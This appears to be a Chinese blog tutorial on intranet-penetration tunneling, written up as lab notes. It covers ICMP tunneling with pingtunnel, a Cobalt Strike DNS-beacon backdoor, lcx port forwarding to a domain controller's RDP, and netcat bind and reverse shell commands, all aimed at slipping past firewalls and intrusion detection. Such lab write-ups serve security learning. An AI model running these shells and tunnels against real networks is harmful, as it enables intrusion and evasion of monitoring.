文章目录

  • 代理和隧道技术区别
  • 隧道通信原理
  • 常用的隧道技术
  • 判断内网协议连通性
    • ICMP协议
    • TCP协议
      • telnet
      • NC
    • HTTP协议
      • curl
      • Wget
    • DNS协议
      • nslookup
      • dig
  • ICMP隧道
    • pingtunnel
    • 检测连通性
  • DNS隧道
    • 开放端口
    • 域名修改解析记录
    • 配置DNS监听器
    • 生成后门
    • 上线主机
  • 传输层端口转发隧道
    • Lcx
    • NetCat
      • 正向反弹 shell
      • 反向反弹shell
      • 多向连接反弹 shell-配合转发
      • 相关 netcat 主要功能测试
  • 总结

代理和隧道技术区别

  • 代理只是为了解决网络通信问题,有些内网访问不到,可以用代理实现
  • 隧道不仅是解决网络的通信问题,更大的作用是绕过过滤,突破防火墙/入侵检测系统。(封装协议)

隧道技术为了解决?:

  • 防火墙过滤问题、网络连接通信问题、数据回链封装问题
  • 在数据通信被拦截的情况下,可以利用隧道技术封装改变通信协议进行绕过拦截。比如CS、MSF无法上线,数据传输不稳定无回显,出口数据被监控,网络通信存在问题等问题,都可以通过隧道技术解决。

隧道技术前期必备条件

在用隧道之前要先探测对应隧道协议是否支持,如果不支持,用这个隧道也没有任何意义

隧道通信原理

  • 隧道,就是一种绕过端口屏蔽的通信方式。
  • 防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当被封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应的服务器上

常用的隧道技术

  • 网络层:IPv6隧道、ICMP隧道、GRE隧道
  • 传输层:TCP隧道、UDP隧道、常规端口转发
  • 应用层:SSH隧道、HTTP隧道、HTTS隧道、DNS隧道

判断内网协议连通性

隧道有各种层面的,每个层面又分不同协议,你想要用哪个隧道,就需要先确定目标主机是否支持对应隧道协议。

可以使用以下协议进行判断

  • ICMP协议:ping
  • TCP协议:nc\ncat
  • HTTP协议:curl\wget
  • DNS协议:nslookup\dig

ICMP协议

用“ping”命令,执行 ping <域名/IP 地址>

ping www.baidu.com
ping 14.215.177.38

TCP协议

telnet

在Windows和Linux都可以用

执行telnet <域名/IP 地址> <端口>

telnet  www.baidu.com  80
telnet  14.215.177.38  80

出现下图的黑色界面说明连接成功,端口可以正常访问

访问失败,说明端口是没有开启的或者被占用;

NC

用“瑞士军刀”——netcat
执行 nc端口扫描命令:

nc -zv <ip/域名> <端口>

nc -zv www.baidu.com 80
nc -zv 14.215.177.38 80
  • -z 表示为zero,意思是扫描时不发送任何数据包
  • -v 即为详细输出

HTTP协议

curl

windows/linux

用“curl”工具,执行 curl <网址/IP> <端口> 命令。如果远程主机开启了相应的端口,且内网可连接外网的
话,就会输出相应的端口信息

curl www.baidu.com 80
curl 14.215.177.38 80

Wget

linux

执行 wget <IP/网址>命令

wget -S www.baidu.com
wget -S 14.215.177.38

DNS协议

检测 DNS 连通性常用的命令是“nslookup”和“dig”

nslookup

nslookup 是 windows 自带的 DNS 探测命令

nslookup www.baidu.com
nslookup 14.215.177.38

dig

dig 是 linux 系统自带的 DNS 探测命令

dig www.baidu.com
dig 14.215.177.38

ICMP隧道

常用的ICMP隧道工具有icmpsh、PingTunel、icmptunel、powershell icmp等

网上介绍的大部分都是老牌工具ptunnel,ptunnel工具几年前就没有更新了,不推荐使用。
推荐pingtunnel,这个是一直在升级更新的一个工具。

老版本介绍:https://github.com/f1vefour/ptunnel(需自行编译)
新版本介绍:https://github.com/esrrhs/pingtunnel(二次开发版)

pingtunnel

pingtunnel是把tcp/udp/sock5流量伪装成icmp流量进行转发的工具
为什么要转换?因为tcp、udp、sock5这几个协议受到防火墙和工具的拦截,这个工具就是把这些流量伪装成icmp进行数据传输!

语法
-p      ##表示连接icmp隧道另一端的机器IP(即目标服务器)
-lp     ##表示需要监听的本地tcp端口
-da     ##指定需要转发的机器的IP(即目标内网某一机器的内网IP)
-dp     ##指定需要转发的机器的端口(即目标内网某一机器的内网端口)
-x      ##设置连接的密码

执行命令

命令
target2:./ptunnel  -x xiaodi
kali:./ptunnel -p 192.168.80.145 -lp 1080 -da 192.168.33.33 -dp 3389 -x xiaodi
#转发的3389请求数据给本地1080
kali:rdesktop 127.0.0.1 1080

检测连通性

ping  -c 4 192.168.33.33 #-c 4 发生数据包数量

开启隧道

在kali上执行以下命令

./ptunnel -p 192.168.80.145 -lp 1080 -da 192.168.33.33 -dp 3389 -x xiaodi

在kali上执行以下命令,弹出远程桌面

rdesktop 127.0.0.1:1080

原本之前的3389连接远程桌面,使用的是3389对应的协议,现在连接远程桌面,流量数据传输就变成使用 ICMP 协议了。

DNS隧道

常见协议监听器被拦截时,可以换其他协议上线,其中dns协议上线基本通杀

tips:需自行购买域名

开放端口

云主机Teamserver配置端口53启用-udp

域名修改解析记录

  • A记录->cs主机名->CS服务器IP
  • NS记录->ns1主机名->上个A记录地址
  • NS记录->ns2主机名->上个A记录地址

配置DNS监听器

选择DNS协议

生成后门

attacks–>packages–>windows executable(s)–>listener选择dns上线,勾选–>选择后门生成位置–>生成后门

上线主机

将后门上传到webserver,执行。执行后门后,cs出现一个黑窗口。

点击小图标,出现unknown主机,原因是我们使用DNS上线,DNS速度特别慢。此时我们需要再敲几条命令才能实现控制。

右击unknown主机,选择interact,启用命令

checkin
mode dns-txt
shell whoami

尝试了screeshot截屏是可以的!

Tips:隧道技术其实就是通过变换协议,走不同协议来实现数据通信

传输层端口转发隧道

隧道技术:传输层端口转发

工具:
windows: lcx
linux:portmap

Lcx

lcx是一个端口转发工具,通过端口转发的形式,将内网服务器的某一个端口映射到公网另一台服务器的一个端口上去!

使用条件:

  • 内网服务器可以出网
  • 服务器在外网,但是服务器安装了某些防护禁止敏感端口连接,如果发生这种,可以查看哪些端口允许传输数据,用这些端口将3389端口进行转发。

下载:https://github.com/MrAnonymous-1/lcx

在DC上执行以下命令,将本地3389给webserver的6666

Lcx.exe -slave 192.168.3.31 6666 127.0.0.1 3389 //将本地3389给webserver的6666

在webserver上执行以下命令,监听6666端口流量并转发至7777

Lcx.exe -listen 6666 7777   // 监听6666端口流量转发至7777端口

在kali上执行以下命令,连接webserver的7777,登录远程桌面访问,这里其实登录的是域控DC的远程桌面。

rdesktop 192.168.80.146:7777

DC 把本地的3389 转播到 webserver的6666端口 ,而webserver又把6666转到自己的7777 端口。

那么当kali去rdesktop访问webserver的7777端口时,就是连接的DC的远程桌面。

NetCat

实验环境

  • Kali—god\webserver—god\sqlserver

正向反弹 shell

正向:攻击者连接受害者
受害主机执行:

nc -ldp 1234 -e /bin/sh
#linux
nc -ldp 1234 -e c:\windows\system32\cmd.exe
#windows

攻击主机执行:

nc 192.168.76.132 1234
#主动连接

反向反弹shell

反向:受害者主机连接攻击者主机
攻击者执行:nc -lvp 1234

nc -lvp 1234
# 监听本地1234 等待受害主动把shell交过来

受害者主机:主动把shell反弹到对方ip端口上

nc 192.168.3.32  1234 -e /bin/sh
#linux
nc 192.168.3.32  1234 -e c:\windows\system32\cmd.exe
#windows

此时攻击机上收到shell会话

多向连接反弹 shell-配合转发

god\Webserver:

Lcx.exe -listen 2222 3333

god\Sqlserver:

nc 192.168.3.31 2222 -e c:\windows\system32\cmd.exe

kali :

nc -v 192.168.80.146 3333

和之前一样,sqlserver把自己的shell反弹给webserver的2222端口。webserver再把2222转到3333端口

由于kali能够和webserver联通,可以直接接收3333的shell,间接的取得了sqlserver的权限

相关 netcat 主要功能测试

指纹服务:nc -nv 192.168.76.143
端口扫描:nc -v -z 192.168.76.143 1-100
端口监听:nc -lvp xxxx
文件传输:nc -lp 1111 >1.txt|nc -vn xx.xx.x.x 1111 <1.txt -q 1
反弹 Shell:见上

总结

隧道技术其实就是通过变换协议,走不同协议来实现数据通信!

内网渗透-端口转发隧道技术相关推荐

  1. 内网渗透代理转发详解及工具介绍

    介绍一下个人网站 欢迎各位大佬光顾 http://www.sec0nd.top 文章目录 前言 正向代理和反向代理 正向代理 反向代理 举例辨别两者 内网渗透中代理的作用 工具介绍 msf nps f ...

  2. 内网安全:初探隧道技术

    目录 防火墙必备知识 域控-防火墙组策略对象同步 域控 - 防火墙组策略不出网上线 MSF上线 CS - ICMP上线 注意:隧道技术是后渗透手段,是在已经取得权限后的手段 域控-组策略同步 防火墙必 ...

  3. 【内网安全】域横向内网漫游Socks代理隧道技术

    代理技术和隧道技术都属于内网穿透,代理主要解决内网里面通信的问题(比如对方在内网,你也在内网,这时候两个内网实现通信就必须要经过代理才能实现,常见工具有frp.ngrok和ew等,ew(earthwo ...

  4. ssh端口转发(隧道技术)

    1.本地端口转发 假设有以下场景,本地客户端A,  远端服务器有B和C, B和C处于同一个内网,且 B上配置了公网ip,C只有内网ip.  那么现在存在一个需求, 我想让A能够访问到C上面部署的一个n ...

  5. 内网安全 隐藏通信隧道技术——应用层.(遨游于 内网任何主机)

    隐藏通信隧道技术. 隐藏通信隧道就是一种 绕过端口屏蔽的通信方式.防火墙两端的数据包通过防火墙所允许的数据包类型或者端口进行封装,然后穿过防火墙,与对方进行通信.当被封装的数据包到达目的地时,将数据包 ...

  6. 内网安全 隐藏通信隧道技术——传输层.(遨游于 内网任何主机)

    隐藏通信隧道技术. 隐藏通信隧道就是一种 绕过端口屏蔽的通信方式.防火墙两端的数据包通过防火墙所允许的数据包类型或者端口进行封装,然后穿过防火墙,与对方进行通信.当被封装的数据包到达目的地时,将数据包 ...

  7. 内网安全-域横向内网漫游Socks代理隧道技术

    因为是两个局域网 当你用kali生成一个后门文件放到目标主机 设置后门的反弹地址时,设置为你的外网地址时,后们会将信息反弹到你的路由器上 设置为内网地址时,又找不到你 案例 1-内网穿透 Ngrok ...

  8. 内网渗透-SSH隧道

    内网渗透之--ssh隧道 网络拓扑图: ssh 正向链接: 在web服务器执行:ssh -CNfL 0.0.0.0:7777:10.10.10.128:80 web@127.0.0.1 (在web服务 ...

  9. 小迪渗透内网渗透(玖)

    文章目录 65. 域环境&工作组&局域网方针(65-72) 演示案例: 涉及资源: 66. 横向批量&schtasks&im&packet 演示案例: 涉及资源 ...

最新文章

  1. 是否可以在其范围之外访问局部变量的内存?
  2. OpenJudge/Poj 2027 No Brainer
  3. 白话Elasticsearch26-深度探秘搜索技术之function_score自定义相关度分数算法
  4. pandas中drop用法_python进行数据清理之pandas中的drop用法
  5. 怎样在命令行中使用FTP
  6. 我的技术回顾那些与ABP框架有关的故事-2017年
  7. linux进程获取执行文件路径,如何 获取linux进程的执行文件路径
  8. Oracle PLSQL Demo - 04.数字FOR LOOP循环[NUMBERABLE (FOR) LOOP]
  9. 单片机并口应用实验c语言,用51单片机编写一个并行口实验
  10. 翰文进度计划软件横道图不显示文字_作为工程新人总是加班?这份工程软件+算量套表直接帮助你,共享...
  11. 做梦都没想到,就这样得到了一位大佬的青睐
  12. Android eclipse unable to launch:The selection can not be launched,and there are no recent launches
  13. 百度网盘链接在线解析网站_最近很热闹啊,免登陆百度网盘高速链接转换工具...
  14. 用JS实现图片模糊到清晰预加载效果
  15. 陕西省计算机分数线,2019陕西省各大学录取分数线最新汇总
  16. Red5 java项目创建
  17. 物联网与传统的互联网相比,主要具备哪些基本特征?
  18. Ubuntu 语言配置修改为英文
  19. C# WPF MVVM 实战 – 5- 用绑定,通过 VM 设置 View 的控件焦点
  20. Method annotated with @Bean is called directly. Use dependency injection instead.

热门文章

  1. 大数据入门及各类技术介绍
  2. 结构体类型的定义及所占内存的字节数
  3. 详解二叉树的前序遍历
  4. 伤寒杂病论.辨太阳病脉证并治(中)
  5. 第六章 Java API
  6. 解决方案:No space left on device
  7. SQLCE数据工具(Flyhoward Ltd SDF Viewer)
  8. Java入门基础教程第一篇
  9. 滑动过渡之Scroller
  10. redis学习——redis事务